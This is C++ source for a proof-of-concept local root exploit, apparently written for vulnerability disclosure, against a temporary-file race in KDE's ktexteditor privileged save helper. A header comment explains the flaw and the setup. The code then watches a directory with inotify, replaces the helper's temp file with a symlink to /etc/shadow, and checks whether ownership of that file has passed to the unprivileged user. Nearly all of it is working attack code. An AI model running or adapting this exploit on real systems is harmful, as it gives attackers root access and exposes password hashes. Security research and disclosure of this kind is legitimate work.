/** * Author: Matthias Gerstner (matthias.gerstner@suse.de) * SUSE Linux GmbH 2018 * Date: 2018-04-23 * * Local root exploit PoC for ktexteditor temporary file access race * condition on Linux. * * To build this run `g++ -std=c++11 -O2 kattack.cpp -okattack`. * * This program tries to fool the ktexteditor service helper component into * writing to /etc/shadow instead of the originally intended file location and * also changing ownership of /etc/shadow to an unprivileged user, thereby * making a local root exploit possible. * * The weakness can also be used to write new files or change ownership of * arbitrary other files owned by root. It requires a special setting and * manual interaction though. * * To reproduce this you need the following setup: * * - a regular user account that runs the Kate text editor, we call it account * A. * - another "less privileged" account which can be any account for testing * purposes, we call it account B. * - account B needs this PoC program and some arbitrary directory owned by * him, containing a "config file" also owned by him. Both need to be * readable by account A e.g. by being world readable. Let's assume the * directory is /home/B/attackdir and the file is /home/B/attackdir/some.cfg. * - account B runs `kattack ~/attackdir` * - account A opens an existing /home/B/attackdir/some.cfg in Kate, changes * some of the content and saves it. The ktextedit service helper component * will be triggered and asks for the root password. Enter the password. * - Each time account A saves the file this way there is an opportunity for * the PoC to succeed. The success rate can be rather low i.e. saving a few * dozen of times is needed before the PoC succeeds. The PoC program exists * only when the exploit succeeded. * * The weakness exploited here is that the `kauth_ktexteditor_helper` for some * reason safely creates an unnamed temporary file in the target directory but * then links it using a temporary filename, closes it and reopens it with * (O_CREAT|O_RDWR). If an unprivileged user owns the directory where this * happens then this unprivileged user has the opportunity to replace the * original temporary file by a symlink and have the helper create or open the * target file with root permissions. * * Of some help is the fact that the helper also restores the original * permissions of the target file. Thus we can also have the helper change * ownership of root owned files to our unprivileged account B. * * Warning: If this exploit succeeds then your system's /etc/shadow file will * be corrupted and end up with unsecure permissions. Keep a backup of the * original file (usually also found in /etc/shadow-) and restore it via `cp * -p /etc/shadow- /etc/shadow`. **/ #include #include #include #include #include #include #include #include #include #include #include class StatHelper { struct stat m_s; public: bool isRegular() const { return S_ISREG(m_s.st_mode) != 0; } bool isLink() const { return S_ISLNK(m_s.st_mode) != 0; } uid_t getOwner() const { return m_s.st_uid; } bool doStat(const std::string &p) { return ::stat(p.c_str(), &m_s) == 0; } bool doLinkStat(const std::string &p) { return ::lstat(p.c_str(), &m_s) == 0; } StatHelper() { memset(&m_s, 0, sizeof(struct stat)); } }; class KTextAttack { bool matchesTargetFile(const std::string &evpath) { if( evpath.length() <= m_watchfile.length() ) { // shorter or equal size: cannot be a tmpfile with suffix return false; } else if( evpath.substr(0, m_watchfile.length()) != m_watchfile ) // not a common prefix with out target file return false; std::string suffix(evpath.substr(m_watchfile.length())); if( suffix[0] != '.' ) // expecting .[a-zA-Z]..... return false; suffix = suffix.substr(1); if( suffix.length() <= 4 ) // too short suffix return false; for( auto ch = suffix.begin(); ch != suffix.end(); ch++ ) { if( ! isalpha(*ch) ) // expecting only [a-zA-Z] return false; } return true; } void processEvent(const struct inotify_event &ev) { std::string evpath(ev.name); if( (ev.mask & IN_MOVED_TO) != 0 ) { if( evpath == m_watchfile ) { // maybe our attack succeeded by now checkSuccess(); } return; } if( !matchesTargetFile(evpath) ) return; if( m_ignore_next_creation ) { m_ignore_next_creation = false; return; } if( unlink(evpath.c_str()) != 0 ) { std::cerr << "Failed to unlink " << evpath << ": " << strerror(errno) << std::endl; return; } if( symlink(m_link_target.c_str(), evpath.c_str()) != 0 ) { std::cerr << "Failed to symlink " << evpath << " -> " << m_link_target << ": " << strerror(errno) << std::endl; return; } // to avoid an infinite loop by reaction on our own events, // this could be solved more cleanly probably. m_ignore_next_creation = true; std::cout << evpath << " created -> deleted\n"; std::cout << "created symlink " << evpath << " -> " << m_link_target << "\n"; std::cout << std::flush; } void monitor_edits() { constexpr auto INOBUF_SIZE = sizeof(struct inotify_event) + NAME_MAX; char buf[INOBUF_SIZE]; ssize_t bytes; while( (bytes = read(m_ino_fd, buf, INOBUF_SIZE)) != -1 ) { for( char *record = buf; record < (buf + bytes); record += sizeof(struct inotify_event) ) { const struct inotify_event &ev = *((struct inotify_event*)record); record += ev.len; processEvent(ev); } } std::cerr << "Failed to read inotify events: " << strerror(errno) << std::endl; throw 1; } void setup_inotify() { m_ino_fd = inotify_init1(IN_CLOEXEC); if( m_ino_fd == -1 ) { std::cerr << "Failed to init inotify: " << strerror(errno) << std::endl; throw 1; } std::cout << "Waiting for change to " << m_watchfile << " in " << m_watchdir << std::endl; m_watch_fd = inotify_add_watch(m_ino_fd, m_watchdir.c_str(), IN_CREATE | IN_MOVED_TO); if( m_watch_fd == -1 ) { std::cerr << "Failed to add watch: " << strerror(errno) << std::endl; throw 1; } } void checkSuccess() { StatHelper st; if( !st.doLinkStat(m_watchfile) ) return; else if( ! st.isLink() ) return; std::string target; target.resize(NAME_MAX); ssize_t len = readlink(m_watchfile.c_str(), &target[0], NAME_MAX); if( len == -1 ) return; target.resize(len); try { if( target != m_link_target ) throw 2; else if( !st.doStat(m_link_target) ) throw 2; else if( st.getOwner() != ::getuid() ) throw 2; std::cout << "Attack seems to have succeeded: " << m_link_target << " is now owned by you" << std::endl; } catch( ... ) { std::cerr << "Target file was replaced by symlink, " "but too late, the file setup is now broken" << std::endl; recreateTargetFile(); return; } throw 0; } void recreateTargetFile() { std::cerr << "Recreating " << m_watchfile << " with correct permissions." << std::endl; ::unlink(m_watchfile.c_str()); int fd = ::open(m_watchfile.c_str(), O_RDWR | O_CREAT, 0600); if( fd == -1 ) { std::cerr << "Failed to recreate " << m_watchfile << ": " << strerror(errno) << std::endl; throw 1; } close(fd); } private: const std::string m_path; std::string m_watchdir; std::string m_watchfile; int m_ino_fd = -1; int m_watch_fd = -1; const std::string m_link_target; bool m_ignore_next_creation = false; public: void run() { setup_inotify(); monitor_edits(); } KTextAttack(const std::string &path) : m_path(path), m_link_target("/etc/shadow") { if( m_path.find('/') != m_path.npos ) { m_watchdir = m_path; ::dirname(&m_watchdir[0]); m_watchdir.resize( strlen(m_watchdir.c_str()) ); std::cout << "watchdir = " << m_watchdir << "\nwatchfile = " << m_watchfile << std::endl; m_watchfile = m_path.substr(m_watchdir.length() + 1); } else { m_watchdir = "."; m_watchfile = m_path; } if( ::chdir(m_watchdir.c_str()) != 0 ) { std::cerr << "Failed to chdir to " << m_watchdir << ": " << strerror(errno) << std::endl; throw 1; } } ~KTextAttack() { if( m_watch_fd != -1 ) close(m_watch_fd); if( m_ino_fd != -1 ) close(m_ino_fd); } }; int main(const int argc, const char **argv) { if( argc != 2 ) { std::cerr << "Usage: " << argv[0] << " [file-to-be-edited]" << std::endl; return 1; } std::string path(argv[1]); StatHelper st; if( !st.doLinkStat(path) ) { std::cerr << path << ": " << strerror(errno) << std::endl; return 1; } else if( ! st.isRegular() ) { std::cerr << path << ": is not a regular file" << std::endl; return 1; } std::cout << "Waiting for " << path << " to be edited" << std::endl; KTextAttack kta(path); try { kta.run(); } catch( int res ) { return res; } return 0; }